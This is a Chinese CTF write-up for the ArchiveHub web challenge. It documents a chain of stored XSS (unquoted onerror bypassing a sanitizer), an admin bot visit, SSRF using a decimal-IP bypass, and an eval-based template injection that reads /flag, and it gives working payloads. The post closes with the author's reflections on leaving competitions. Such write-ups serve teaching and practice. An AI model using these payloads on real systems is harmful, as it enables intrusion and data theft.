某高校在内网中部署了一个离线资料归档平台 ArchiveHub,用于上传课程资料、比赛资料和安全培训文档。 平台支持上传 zip 归档包,系统会读取其中的 manifest.json 并渲染指定 Markdown 文件。普通用户可以把自己的文档提交给管理员审核,管理员审核完成后会在文档下方留下 Review Notes。 请获取服务器中的 flag

初步思路


从前面的配置项来看分为两个服务,外网就是我们看到的提交包含 markdown 文件的压缩包,其进行渲染,事后 bot 管理员可以进行留言
因此这里大体上来看会通过 XSS 结合 SSRF 去让 bot 进行内网服务的操作

定位到后续内网服务


那就是打 SSTI 模板注入了 http://127.0.0.1:9001/render?tpl={{8*8}}

一些细节

注意到 Cookie 属性设置了 HttpOnly; SameSite=Lax,虽然无法读取 Cookie,但我们可以进行携带;
接着看到了一些转义过滤限制如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def escape(value) -> str:
return html.escape(str(value), quote=True)

def weak_sanitize_raw_html(raw: str) -> str:
"""The intended bug: unquoted event attributes survive this sanitizer."""
raw = re.sub(r"(?is)<\s*script\b.*?<\s*/\s*script\s*>", "", raw)
raw = re.sub(r"(?is)<\s*/?\s*script\b[^>]*>", "", raw)
raw = re.sub(r"(?i)\s+on[a-z0-9_:-]+\s*=\s*(\"[^\"]*\"|'[^']*')", "", raw)
raw = re.sub(r"(?i)javascript\s*:", "", raw)
return raw

def render_markdown(markdown: str) -> str:
...
elif stripped.startswith("<"):
html_parts.append(weak_sanitize_raw_html(stripped))
...

escape() 在用户名、文档标题、单行内联文本 render_inline() 等位置被调用,无法考虑这些位置的 XSS;后续对出现 < 的位置则进行 <script> 以及带单/双引号的 on* 事件属性进行过滤,不过引号存在与否不影响代码的执行,因此这里可以轻松绕过 <img src=x onerror=alert(1)>

继续往下看 /documents/{doc_id} 路由,其中下方的 note 评论是通过数据库获取的

当向 bot 报告后,跟进 /documents/{doc_id}/report 路由,这里会将该请求进入队列

其中 bot_worker() 会持续监听


跟进 visit_as_admin(),这里 bot 就会开无头浏览器去浏览我们的网页了

1
url = f"http://127.0.0.1:{APP_PORT}/admin/review/{doc_id}?bot_token={urllib.parse.quote(ADMIN_BOT_TOKEN)}"

跟进 admin_review(),通过 ADMIN_BOT_TOKEN 鉴权后,就是加载 markdown 文档进行浏览,这里就触发了 XSS


现在就剩下 /api/documents/{doc_id}/notes /admin/fetch
前者就是添加评论,能够直接想到通过触发该路由让 bot 把命令执行的结果带出来;而后者也是显而易见,由于端口不同不同源,直接访问会触发 CORS 限制,便可通过该路由的 fetch 功能打前面的 SSTI 模板注入

这里也是象征性的做了一下 SSRF 的限制,十进制绕过就好

Payload 构造

Summary

通过 /admin/fetch?url= 与内网 9001 端口交互,将其结果返回给 /api/documents/{doc_id}/notes 进行回显

不过一开始我习惯性使用 => 箭头函数,其为了绕过并未在 on*= 事件后添加引号,从原始的 HTTP 响应文本流来看以下 payload 是没有问题的

1
<img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7B8%2A8%7D%7D").then(r=>r.text()).then(data=>fetch("/api/documents/1/notes",{method:"POST",body:data}))>

但浏览器解析时,由于该属性值未被引号包裹,因此遇到 > 后会认为判定为当前 HTML 标签的闭合标记,从而直接结束 <img> 标签的解析

解析完后,被 DOM 树的序列化并规范的对属性值补上引号

不过我们这里可以改用匿名函数语法 function(r){} 来进一步绕过

1
<img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7B8%2A8%7D%7D").then(function(r){return(r.text())}).then(function(data){return(fetch("/api/documents/1/notes",{method:"POST",body:data}))})>


很好,就差最后 SSTI 模板的绕过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def render_internal_template(template: str) -> str:
if len(template) > 1000:
return "template too long"

def replace(match):
expr = match.group(1).strip()
lowered = expr.lower()
blocked = ["_", "flag", "open", "import", "os", "subprocess", "builtins", "globals", "eval", "exec"]
if any(word in lowered for word in blocked):
return "[blocked]"
try:
return str(
eval(
expr,
{"__builtins__": {}},
{"cfg": ThemeConfig(), "h": TemplateHelper(), "title": ThemeConfig.title},
)
)
except Exception as exc:
return f"[error: {exc}]"

return re.sub(r"\{\{(.*?)\}\}", replace, template, flags=re.S)

很经典,这里将全局命名空间 __builtins__ 置空了,不过给了自定义的局部变量;ThemeConfig 给了 _load() 方法可以读文件,TemplateHelper 类中 c() 方法将整数转换成字符型并拼接,a() 直接去调用 cfg 对象方法,也算是很直白的搞所我们绕过方法了
http://2130706433:9001/render?tpl={{h.a(cfg,h.c(95,108,111,97,100))(h.c(47,102,108,97,103))}}

最终 payload:

1
<img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7Bh.a%28cfg%2Ch.c%2895%2C108%2C111%2C97%2C100%29%29%28h.c%2847%2C102%2C108%2C97%2C103%29%29%7D%7D").then(function(r){return(r.text())}).then(function(data){return(fetch("/api/documents/1/notes",{method:"POST",body:data}))})>

谢幕

这算是我生涯最后一次参加线下“正规”的网络安全比赛了,这一年本来是备战考研,结果被队友一直带飞到决赛;随着 AI 大模型潮涌袭来,感觉自己算是还留有一些老一辈的古法手段😄,回到比赛本身也是挺失望的,挂着国家级比赛的头衔却在赛场内出现那么多“热点”,事后赛事方也是选择沉默是金,实在是令人唏嘘…

哎,不花费那么多口舌了。专注于自己,顺应时代,以后会逐渐向 AI 大模型方面转型了,但也希望自己还能做与网安有交集的事业吧😂…